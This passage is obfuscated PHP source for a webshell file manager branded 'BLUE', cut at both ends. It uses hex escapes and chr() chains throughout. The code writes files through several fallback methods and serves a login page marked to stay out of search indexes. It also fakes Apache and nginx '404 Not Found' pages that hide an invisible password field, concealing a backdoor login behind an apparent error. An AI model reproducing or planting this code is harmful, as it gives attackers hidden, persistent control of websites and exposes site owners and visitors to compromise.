"\x77\x62"); if ($_6a1232) { $_4969e8 = @_f4da0b34b($_376271, $_6a1232); @fclose($_6a1232); if ($_4969e8 !== false && $_4969e8 > 0) { @fclose($_376271); return array(true, "\x70\x68\x70\x3a\x2f\x2f\x74\x65\x6d\x70\x20\x63\x6f\x70\x79"); } } @fclose($_376271); } if (@touch($_19de40)) { $_e0433b = @_fa3958e10($_19de40, $_a93011, FILE_APPEND); if ($_e0433b !== false && $_e0433b > 0) return array(true, "\x74\x6f\x75\x63\x68\x2b\x61\x70\x70\x65\x6e\x64"); } return array(false, chr(65).chr(108).chr(108).chr(32).chr(109).chr(101).chr(116).chr(104).chr(111).chr(100).chr(115).chr(32).chr(102).chr(97).chr(105).chr(108).chr(101).chr(100)); } function _f910e2ffb($_77fbc2 = "") { $_f7c0b0 = isset($_SESSION["\x63\x73\x72\x66"]) ? $_SESSION["\x63\x73\x72\x66"] : ""; ?> <!doctype html><html lang="en" class="dark"><head> <meta charset="utf-8"><title>BLUE</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <meta name="googlebot" content="noindex,nofollow,noarchive,nosnippet,noimageindex"> <script src="https://cdn.tailwindcss.com"></script> <script>tailwind.config={theme:{extend:{fontFamily:{ui:['Ubuntu','ui-sans-serif','system-ui','Segoe UI','Roboto','Helvetica Neue','Arial','Noto Sans']},colors:{canvas:{DEFAULT:'#0b1220',surface:'rgba(15,23,42,.8)'}},boxShadow:{soft:'0 10px 30px rgba(0,0,0,.45)',card:'0 6px 20px rgba(37,99,235,.22)'},borderRadius:{xl2:'18px'}}},darkMode:'class'}</script> <link href="https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap" rel="stylesheet"> <link href="https://www.svgrepo.com/show/475654/github-color.svg" rel="icon"> <style> :root{color-scheme:dark} html,body{height:100%} body{font-family:'Ubuntu',system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,"Noto Sans";} .shell{min-height:100vh;background:radial-gradient(1200px 600px at 20% -10%, rgba(59,130,246,.15), transparent 60%), radial-gradient(900px 500px at 90% 0%, rgba(168,85,247,.12), transparent 60%), #0b1220; display:flex;align-items:center;justify-content:center;} .card{background:rgba(15,23,42,.8);border:1px solid rgba(148,163,184,.15);border-radius:18px;box-shadow:0 10px 30px rgba(0,0,0,.45), inset 0 1px 0 rgba(255,255,255,.03);backdrop-filter:blur(8px);} .btn{background:linear-gradient(180deg,#3b82f6,#2563eb);color:#eaf2ff;border-radius:12px;padding:.7rem 1rem;font-weight:700;transition:transform .05s, box-shadow .15s, filter .15s; box-shadow:0 6px 20px rgba(37,99,235,.25);} .btn:hover{filter:brightness(1.05);box-shadow:0 10px 26px rgba(37,99,235,.35)} .btn:active{transform:translateY(.5px)} .field{border:1px solid rgba(148,163,184,.18);border-radius:12px;padding:.6rem .8rem;width:100%;background:#0b1220;color:#e5e7eb;} .field:focus{outline:none;box-shadow:0 0 0 4px rgba(59,130,246,.25);border-color:#3b82f6} .title{background:linear-gradient(90deg,#93c5fd,#c4b5fd);-webkit-background-clip:text;background-clip:text;color:transparent} </style> </head><body class="shell text-slate-100"> <div class="w-full max-w-md card p-6"> <div class="mb-5 flex items-center justify-between"> <div class="text-xl font-bold tracking-tight title">BLUE</div> <span class="text-xs text-slate-400">PHP <?php echo _f47f5a0c5(PHP_VERSION); ?></span> </div> <?php if ($_77fbc2): ?><div class="mb-3 rounded-lg border border-red-900/60 bg-red-900/30 text-red-100 px-3 py-2"><?php echo _f47f5a0c5($_77fbc2); ?></div><?php endif; ?> <form method="post" action="?a=login" class="space-y-3"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <div><label class="text-sm text-slate-300">Username</label><input class="field mt-1" name="user" type="text" autocomplete="username" required></div> <div><label class="text-sm text-slate-300">Password</label><input class="field mt-1" name="pass" type="password" autocomplete="current-password" required></div> <button class="btn w-full" type="submit">Login</button> </form> <p class="text-[12px] text-slate-400 mt-4 text-center">© BLUE x Secure File Manager</p> </div> </body></html><?php } function _fc4920242() { $_42fb71 = isset($_SERVER[chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(95).chr(83).chr(79).chr(70).chr(84).chr(87).chr(65).chr(82).chr(69)]) ? strtolower((string)$_SERVER["\x53\x45\x52\x56\x45\x52\x5f\x53\x4f\x46\x54\x57\x41\x52\x45"]) : ""; if (strpos($_42fb71, "\x6e\x67\x69\x6e\x78") !== false) return "\x6e\x67\x69\x6e\x78"; if (strpos($_42fb71, "\x61\x70\x61\x63\x68\x65") !== false) return chr(97).chr(112).chr(97).chr(99).chr(104).chr(101); return "\x61\x70\x61\x63\x68\x65"; } function _fa7f5a0fe() { $_f7c0b0 = isset($_SESSION["\x63\x73\x72\x66"]) ? $_SESSION[chr(99).chr(115).chr(114).chr(102)] : ""; $_343ee7 = isset($_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]) ? _f47f5a0c5($_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"]) : chr(108).chr(111).chr(99).chr(97).chr(108).chr(104).chr(111).chr(115).chr(116); $_5205ca = isset($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(85).chr(82).chr(73)]) ? _f47f5a0c5($_SERVER[chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(95).chr(85).chr(82).chr(73)]) : chr(47); _f4b801e06(404); ?><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL <?php echo $_5205ca; ?> was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at <?php echo $_343ee7; ?> Port 80</address> <form method="post" action="?a=404pass" style="margin:0;padding:0;"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="password" name="pass" id="hpass" style="position:fixed;opacity:0;width:1px;height:1px;top:0;left:0;border:none;outline:none;padding:0;margin:0;pointer-events:auto;" autocomplete="new-password" tabindex="-1" aria-hidden="true"> </form> <script> (function(){ var f=document.getElementById('hpass'); document.addEventListener('click',function(e){if(e.target!==f)f.focus();}); f.addEventListener('keydown',function(e){if(e.key==='Enter'){e.preventDefault();this.closest('form').submit();}}); })(); </script> </body></html><?php } function _f83f84559() { $_f7c0b0 = isset($_SESSION[chr(99).chr(115).chr(114).chr(102)]) ? $_SESSION["\x63\x73\x72\x66"] : ''; _f4b801e06(404); ?><!DOCTYPE html> <html> <head><title>404 Not Found</title></head> <body> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.18.0 (Ubuntu)</center> <form method="post" action="?a=404pass" style="margin:0;padding:0;"> <input type="hidden" name="csrf" value="<?php echo _f47f5a0c5($_f7c0b0); ?>"> <input type="password" name="pass" id="hpass" style="position:fixed;opacity:0;width:1px;height:1px;top:0;left:0;border:none;outline:none;padding:0;margin:0;pointer-events:auto;" autocomplete="new-password" tabindex="-1" aria-hidden="true"> </form> <script> (function(){ var f=document.getElementById('hpass'); document.addEventListener('click',function(e){if(e.target!==f)f.focus();}); f.addEventListener('keydown',function(e){if(e.key==='Enter'){e.preventDefault();this.closest('form').submit();}}); })(); </script> </body> </html><?php } function _f396f7573() { if (_fc4920242() === chr(110).chr(103).chr(105).chr(110).chr(120)) _f83f84559(); else _fa7f5a0fe(); } function _feb8aed15($_7671ac, $_fb8e5a) { if (_f6e3566c7(chr(112).chr(97).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(95).chr(118).chr(101).chr(114).chr(105).chr(102).chr(121))) return password_verify($_7671ac, $_fb8e5a); if (strlen($_fb8e5a) >= 60 && ($_fb8e5a[0] . $_fb8e5a[1]) === chr(36).chr(50)) return crypt($_7671ac, $_fb8e5a) === $_fb8e5a; return false; } function _f52b1f5c5($_59faa1, $_12b178) { if ($_59faa1 !== AUTH_USER) return false; $_fb8e5a = AUTH_PASS_HASH; if ($_fb8e5a === '' || strlen($_fb8e5a) < 20) return false; return _feb8aed15($_12b178, $_fb8e5a); } function _f0e025995($_10428d, $_72ddd7 = "\x69\x63\x6f") { $_c2dea6 = array( chr(102).chr(111).chr(108).chr(100).chr(101).chr(114) => "\x3c\x73\x76\x67\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x63\x6c\x61\x73\x73\x3d\x22" . $_72ddd7 . "\x22\x20\x61\x72\x69\x61\x2d\x68\x69\x64\x64\x65\x6e\x3d\x22\x74\x72\x75\x65\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x31\x30\x20\x34\x6c\x32\x20\x32\x68\x36\x61\x32\x20\x32\x20\x30\x20\x30\x31\x32\x20\x32\x76\x31\x48\x34\x56\x36\x61\x32\x20\x32\x20\x30\x20\x30\x31\x32\x2d\x32\x68\x34\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x6f\x70\x61\x63\x69\x74\x79\x3d\x22\x2e\x31\x32\x22\x2f\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x33\x20\x39\x68\x31\x38\x76\x39\x61\x32\x20\x32\x20\x30\x20\x30\x31\x2d\x32\x20\x32\x48\x35\x61\x32\x20\x32\x20\x30\x20\x30\x31\x2d\x32\x2d\x32\x56\x39\x7a\x22\x20\x66\x69\x6c\x6c\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x2f\x3e\x3c\x2f\x73\x76\x67\x3e", "\x66\x69\x6c\x65" => "\x3c\x73\x76\x67\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x63\x6c\x61\x73\x73\x3d\x22" . $_72ddd7 . chr(34).chr(32).chr(97).chr(114).chr(105).chr(97).chr(45).chr(104).chr(105).chr(100).chr(100).chr(101).chr(110).chr(61).chr(34).chr(116).chr(114).chr(117).chr(101).chr(34).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(54).chr(32).chr(51).chr(104).chr(55).chr(108).chr(53).chr(32).chr(53).chr(118).chr(49).chr(49).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(32).chr(50).chr(72).chr(54).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(45).chr(50).chr(86).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(111).chr(112).chr(97).chr(99).chr(105).chr(116).chr(121).chr(61).chr(34).chr(46).chr(49).chr(50).chr(34).chr(47).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(49).chr(51).chr(32).chr(51).chr(118).chr(53).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(48).chr(50).chr(32).chr(50).chr(104).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(110).chr(111).chr(110).chr(101).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(34).chr(50).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(108).chr(105).chr(110).chr(101).chr(106).chr(111).chr(105).chr(110).chr(61).chr(34).chr(114).chr(111).chr(117).chr(110).chr(100).chr(34).chr(47).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), chr(99).chr(111).chr(100).chr(101) => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . "\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x38\x20\x31\x36\x6c\x2d\x34\x2d\x34\x20\x34\x2d\x34\x4d\x31\x36\x20\x38\x6c\x34\x20\x34\x2d\x34\x20\x34\x22\x20\x66\x69\x6c\x6c\x3d\x22\x6e\x6f\x6e\x65\x22\x20\x73\x74\x72\x6f\x6b\x65\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x77\x69\x64\x74\x68\x3d\x22\x32\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x63\x61\x70\x3d\x22\x72\x6f\x75\x6e\x64\x22\x20\x73\x74\x72\x6f\x6b\x65\x2d\x6c\x69\x6e\x65\x6a\x6f\x69\x6e\x3d\x22\x72\x6f\x75\x6e\x64\x22\x2f\x3e\x3c\x2f\x73\x76\x67\x3e", chr(116).chr(101).chr(120).chr(116) => "\x3c\x73\x76\x67\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x32\x34\x20\x32\x34\x22\x20\x63\x6c\x61\x73\x73\x3d\x22" . $_72ddd7 . chr(34).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(52).chr(32).chr(54).chr(104).chr(49).chr(54).chr(77).chr(52).chr(32).chr(49).chr(50).chr(104).chr(49).chr(54).chr(77).chr(52).chr(32).chr(49).chr(56).chr(104).chr(49).chr(48).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(110).chr(111).chr(110).chr(101).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(34).chr(50).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(108).chr(105).chr(110).chr(101).chr(99).chr(97).chr(112).chr(61).chr(34).chr(114).chr(111).chr(117).chr(110).chr(100).chr(34).chr(47).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), chr(112).chr(119).chr(120) => "\x3c\x73\x76\x67\x20\x76\x69\x65\x77\x42\x6f\x78\x3d\x22\x30\x20\x30\x20\x34\x38\x20\x34\x38\x22\x20\x63\x6c\x61\x73\x73\x3d\x22" . $_72ddd7 . "\x22\x20\x61\x72\x69\x61\x2d\x68\x69\x64\x64\x65\x6e\x3d\x22\x74\x72\x75\x65\x22\x20\x78\x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x3e\x3c\x67\x20\x66\x69\x6c\x6c\x3d\x22\x63\x75\x72\x72\x65\x6e\x74\x43\x6f\x6c\x6f\x72\x22\x3e\x3c\x67\x20\x74\x72\x61\x6e\x73\x66\x6f\x72\x6d\x3d\x22\x74\x72\x61\x6e\x73\x6c\x61\x74\x65\x28\x2d\x37\x30\x30\x20\x2d\x35\x36\x30\x29\x22\x3e\x3c\x70\x61\x74\x68\x20\x64\x3d\x22\x4d\x37\x32\x33\x2e\x39\x39\x38\x35\x2c\x35\x36\x30\x20\x43\x37\x31\x30\x2e\x37\x34\x36\x2c\x35\x36\x30\x20\x37\x30\x30\x2c\x35\x37\x30\x2e\x37\x38\x37\x30\x39\x32\x20\x37\x30\x30\x2c\x35\x38\x34\x2e\x30\x39\x36\x36\x34\x34\x20\x43\x37\x30\x30\x2c\x35\x39\x34\x2e\x37\x34\x30\x36\x37\x31\x20\x37\x30\x36\x2e\x38\x37\x36\x2c\x36\x30\x33\x2e\x37\x37\x31\x38\x33\x20\x37\x31\x36\x2e\x34\x31\x34\x35\x2c\x36\x30\x36\x2e\x39\x35\x38\x34\x31\x32\x20\x43\x37\x31\x37\x2e\x36\x31\x34\x35\x2c\x36\x30\x37\x2e\x31\x37\x39\x37\x38\x36\x20\x37\x31\x38\x2e\x30\x35\x32\x35\x2c\x36\x30\x36\x2e\x34\x33\x35\x38\x34\x39\x20\x37\x31\x38\x2e\x30\x35\x32\x35\x2c\x36\x30\x35\x2e\x37\x39\x37\x33\x32\x38\x20\x43\x37\x31\x38\x2e\x30\x35\x32\x35\x2c\x36\x30\x35\x2e\x32\x32\x35\x30\x36\x38\x20\x37\x31\x38\x2e\x30\x33\x31\x35\x2c\x36\x30\x33\x2e\x37\x31\x30\x30\x38\x36\x20\x37\x31\x38\x2e\x30\x31\x39\x35\x2c\x36\x30\x31\x2e\x36\x39\x39\x36\x34\x38\x20\x43\x37\x31\x31\x2e\x33\x34\x33\x2c\x36\x30\x33\x2e\x31\x35\x35\x38\x39\x38\x20\x37\x30\x39\x2e\x39\x33\x34\x35\x2c\x35\x39\x38\x2e\x34\x36\x39\x33\x39\x34\x20\x37\x30\x39\x2e\x39\x33\x34\x35\x2c\x35\x39\x38\x2e\x34\x36\x39\x33\x39\x34\x20\x43\x37\x30\x38\x2e\x38\x34\x34\x2c\x35\x39\x35\x2e\x36\x38\x36\x34\x30\x35\x20\x37\x30\x37\x2e\x32\x37\x30\x35\x2c\x35\x39\x34\x2e\x39\x34\x35\x34\x38\x20\x37\x30\x37\x2e\x32\x37\x30\x35\x2c\x35\x39\x34\x2e\x39\x34\x35\x34\x38\x20\x43\x37\x30\x35\x2e\x30\x39\x31\x2c\x35\x39\x33\x2e\x34\x35\x30\x30\x37\x35\x20\x37\x30\x37\x2e\x34\x33\x35\x35\x2c\x35\x39\x33\x2e\x34\x38\x30\x31\x39\x34\x20\x37\x30\x37\x2e\x34\x33\x35\x35\x2c\x35\x39\x33\x2e\x34\x38\x30\x31\x39\x34\x20\x43\x37\x30\x39\x2e\x38\x34\x33\x2c\x35\x39\x33\x2e\x36\x35\x30\x33\x36\x36\x20\x37\x31\x31\x2e\x31\x31\x30\x35\x2c\x35\x39\x35\x2e\x39\x36\x33\x34\x39\x39\x20\x37\x31\x31\x2e\x31\x31\x30\x35\x2c\x35\x39\x35\x2e\x39\x36\x33\x34\x39\x39\x20\x43\x37\x31\x33\x2e\x32\x35\x32\x35\x2c\x35\x39\x39\x2e\x36\x34\x35\x35\x33\x38\x20\x37\x31\x36\x2e\x37\x32\x38\x2c\x35\x39\x38\x2e\x35\x38\x32\x33\x34\x20\x37\x31\x38\x2e\x30\x39\x36\x2c\x35\x39\x37\x2e\x39\x36\x34\x39\x30\x32\x20\x43\x37\x31\x38\x2e\x33\x31\x33\x35\x2c\x35\x39\x36\x2e\x34\x30\x37\x37\x35\x34\x20\x37\x31\x38\x2e\x39\x33\x34\x35\x2c\x35\x39\x35\x2e\x33\x34\x36\x30\x36\x32\x20\x37\x31\x39\x2e\x36\x32\x2c\x35\x39\x34\x2e\x37\x34\x33\x36\x38\x33\x20\x43\x37\x31\x34\x2e\x32\x39\x30\x35\x2c\x35\x39\x34\x2e\x31\x33\x35\x32\x38\x31\x20\x37\x30\x38\x2e\x36\x38\x38\x2c\x35\x39\x32\x2e\x30\x36\x39\x31\x32\x33\x20\x37\x30\x38\x2e\x36\x38\x38\x2c\x35\x38\x32\x2e\x38\x33\x36\x31\x36\x37\x20\x43\x37\x30\x38\x2e\x36\x38\x38\x2c\x35\x38\x30\x2e\x32\x30\x35\x32\x37\x39\x20\x37\x30\x39\x2e\x36\x32\x32\x35\x2c\x35\x37\x38\x2e\x30\x35\x34\x37\x38\x38\x20\x37\x31\x31\x2e\x31\x35\x38\x35\x2c\x35\x37\x36\x2e\x33\x36\x39\x36\x33\x34\x20\x43\x37\x31\x30\x2e\x39\x31\x31\x2c\x35\x37\x35\x2e\x37\x35\x39\x37\x32\x36\x20\x37\x31\x30\x2e\x30\x38\x37\x35\x2c\x35\x37\x33\x2e\x33\x31\x31\x30\x35\x38\x20\x37\x31\x31\x2e\x33\x39\x32\x35\x2c\x35\x36\x39\x2e\x39\x39\x33\x34\x35\x38\x20\x43\x37\x31\x31\x2e\x33\x39\x32\x35\x2c\x35\x36\x39\x2e\x39\x39\x33\x34\x35\x38\x20\x37\x31\x33\x2e\x34\x30\x38\x35\x2c\x35\x36\x39\x2e\x33\x34\x35\x39\x30\x32\x20\x37\x31\x37\x2e\x39\x39\x32\x35\x2c\x35\x37\x32\x2e\x34\x36\x33\x32\x31\x20\x43\x37\x31\x39\x2e\x39\x30\x38\x2c\x35\x37\x31\x2e\x39\x32\x38\x35\x39\x39\x20\x37\x32\x31\x2e\x39\x36\x2c\x35\x37\x31\x2e\x36\x36\x32\x30\x34\x37\x20\x37\x32\x34\x2e\x30\x30\x31\x35\x2c\x35\x37\x31\x2e\x36\x35\x31\x35\x30\x35\x20\x43\x37\x32\x36\x2e\x30\x34\x2c\x35\x37\x31\x2e\x36\x36\x32\x30\x34\x37\x20\x37\x32\x38\x2e\x30\x39\x33\x35\x2c\x35\x37\x31\x2e\x39\x32\x38\x35\x39\x39\x20\x37\x33\x30\x2e\x30\x31\x30\x35\x2c\x35\x37\x32\x2e\x34\x36\x33\x32\x31\x20\x43\x37\x33\x34\x2e\x35\x39\x31\x35\x2c\x35\x36\x39\x2e\x33\x34\x35\x39\x30\x32\x20\x37\x33\x36\x2e\x36\x30\x33\x2c\x35\x36\x39\x2e\x39\x39\x33\x34\x35\x38\x20\x37\x33\x36\x2e\x36\x30\x33\x2c\x35\x36\x39\x2e\x39\x39\x33\x34\x35\x38\x20\x43\x37\x33\x37\x2e\x39\x31\x32\x35\x2c\x35\x37\x33\x2e\x33\x31\x31\x30\x35\x38\x20\x37\x33\x37\x2e\x30\x38\x39\x2c\x35\x37\x35\x2e\x37\x35\x39\x37\x32\x36\x20\x37\x33\x36\x2e\x38\x34\x31\x35\x2c\x35\x37\x36\x2e\x33\x36\x39\x36\x33\x34\x20\x43\x37\x33\x38\x2e\x33\x38\x30\x35\x2c\x35\x37\x38\x2e\x30\x35\x34\x37\x38\x38\x20\x37\x33\x39\x2e\x33\x30\x39\x2c\x35\x38\x30\x2e\x32\x30\x35\x32\x37\x39\x20\x37\x33\x39\x2e\x33\x30\x39\x2c\x35\x38\x32\x2e\x38\x33\x36\x31\x36\x37\x20\x43\x37\x33\x39\x2e\x33\x30\x39\x2c\x35\x39\x32\x2e\x30\x39\x31\x37\x31\x32\x20\x37\x33\x33\x2e\x36\x39\x37\x35\x2c\x35\x39\x34\x2e\x31\x32\x39\x32\x35\x37\x20\x37\x32\x38\x2e\x33\x35\x31\x35\x2c\x35\x39\x34\x2e\x37\x32\x35\x36\x31\x32\x20\x43\x37\x32\x39\x2e\x32\x31\x32\x35\x2c\x35\x39\x35\x2e\x34\x36\x39\x35\x34\x39\x20\x37\x32\x39\x2e\x39\x38\x30\x35\x2c\x35\x39\x36\x2e\x39\x33\x39\x33\x35\x33\x20\x37\x32\x39\x2e\x39\x38\x30\x35\x2c\x35\x39\x39\x2e\x31\x38\x37\x37\x33\x20\x43\x37\x32\x39\x2e\x39\x38\x30\x35\x2c\x36\x30\x32\x2e\x34\x30\x38\x39\x34\x39\x20\x37\x32\x39\x2e\x39\x35\x30\x35\x2c\x36\x30\x35\x2e\x30\x30\x36\x37\x30\x36\x20\x37\x32\x39\x2e\x39\x35\x30\x35\x2c\x36\x30\x35\x2e\x37\x39\x37\x33\x32\x38\x20\x43\x37\x32\x39\x2e\x39\x35\x30\x35\x2c\x36\x30\x36\x2e\x34\x34\x31\x38\x37\x33\x20\x37\x33\x30\x2e\x33\x38\x32\x35\x2c\x36\x30\x37\x2e\x31\x39\x31\x38\x33\x34\x20\x37\x33\x31\x2e\x36\x30\x30\x35\x2c\x36\x30\x36\x2e\x39\x35\x35\x34\x20\x43\x37\x34\x31\x2e\x31\x33\x2c\x36\x30\x33\x2e\x37\x36\x32\x37\x39\x34\x20\x37\x34\x38\x2c\x35\x39\x34\x2e\x37\x33\x37\x36\x35\x39\x20\x37\x34\x38\x2c\x35\x38\x34\x2e\x30\x39\x36\x36\x34\x34\x20\x43\x37\x34\x38\x2c\x35\x37\x30\x2e\x37\x38\x37\x30\x39\x32\x20\x37\x33\x37\x2e\x32\x35\x34\x2c\x35\x36\x30\x20\x37\x32\x33\x2e\x39\x39\x38\x35\x2c\x35\x36\x30\x22\x2f\x3e\x3c\x2f\x67\x3e\x3c\x2f\x67\x3e\x3c\x2f\x73\x76\x67\x3e", "\x69\x6d\x67" => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . chr(34).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(52).chr(32).chr(53).chr(104).chr(49).chr(54).chr(118).chr(49).chr(52).chr(72).chr(52).chr(122).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(111).chr(112).chr(97).chr(99).chr(105).chr(116).chr(121).chr(61).chr(34).chr(46).chr(49).chr(50).chr(34).chr(47).chr(62).chr(60).chr(99).chr(105).chr(114).chr(99).chr(108).chr(101).chr(32).chr(99).chr(120).chr(61).chr(34).chr(56).chr(46).chr(53).chr(34).chr(32).chr(99).chr(121).chr(61).chr(34).chr(57).chr(46).chr(53).chr(34).chr(32).chr(114).chr(61).chr(34).chr(49).chr(46).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(47).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(52).chr(32).chr(49).chr(54).chr(108).chr(52).chr(45).chr(52).chr(32).chr(51).chr(32).chr(51).chr(32).chr(51).chr(45).chr(50).chr(32).chr(54).chr(32).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(110).chr(111).chr(110).chr(101).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(119).chr(105).chr(100).chr(116).chr(104).chr(61).chr(34).chr(50).chr(34).chr(32).chr(115).chr(116).chr(114).chr(111).chr(107).chr(101).chr(45).chr(108).chr(105).chr(110).chr(101).chr(99).chr(97).chr(112).chr(61).chr(34).chr(114).chr(111).chr(117).chr(110).chr(100).chr(34).chr(47).chr(62).chr(60).chr(47).chr(115).chr(118).chr(103).chr(62), "\x70\x64\x66" => chr(60).chr(115).chr(118).chr(103).chr(32).chr(118).chr(105).chr(101).chr(119).chr(66).chr(111).chr(120).chr(61).chr(34).chr(48).chr(32).chr(48).chr(32).chr(50).chr(52).chr(32).chr(50).chr(52).chr(34).chr(32).chr(99).chr(108).chr(97).chr(115).chr(115).chr(61).chr(34) . $_72ddd7 . chr(34).chr(62).chr(60).chr(112).chr(97).chr(116).chr(104).chr(32).chr(100).chr(61).chr(34).chr(77).chr(54).chr(32).chr(51).chr(104).chr(55).chr(108).chr(53).chr(32).chr(53).chr(118).chr(49).chr(49).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(32).chr(50).chr(72).chr(54).chr(97).chr(50).chr(32).chr(50).chr(32).chr(48).chr(32).chr(48).chr(49).chr(45).chr(50).chr(45).chr(50).chr(86).chr(53).chr(34).chr(32).chr(102).chr(105).chr(108).chr(108).chr(61).chr(34).chr(99).chr(117).chr(114).chr(114).chr(101).chr(110).chr(116).chr(67).chr(111).chr(108).chr(111).chr(114).chr(34).chr(32).chr(111).chr(112).chr(97).chr(99).chr(105).chr(116).chr(121).chr(61).chr(34).chr(46).chr(49).chr(50).chr(34).chr(47).chr(62).chr(60).chr(116).chr(101).chr(120).chr(116).chr(32).chr(120).chr(61).chr(34).chr(55).chr(34).chr(32).chr(121).chr(61).chr(34).chr(49).chr(55).chr(34).chr(32).chr(102).chr(111).chr(110).chr(116).chr(45).chr(115).chr(105).chr(122).chr(101).chr(61).chr(34).chr(56).chr(34).chr(32).chr(102).chr(111).chr(110).chr(116).chr(45).chr(102).chr(97).chr(109).chr(105).chr(108).chr(121).chr(61).chr(34).chr(117).chr(105).chr(45).chr(115).chr(97).chr(110).chr(115).chr(45).chr(115).chr(101).chr(114).chr(105).ch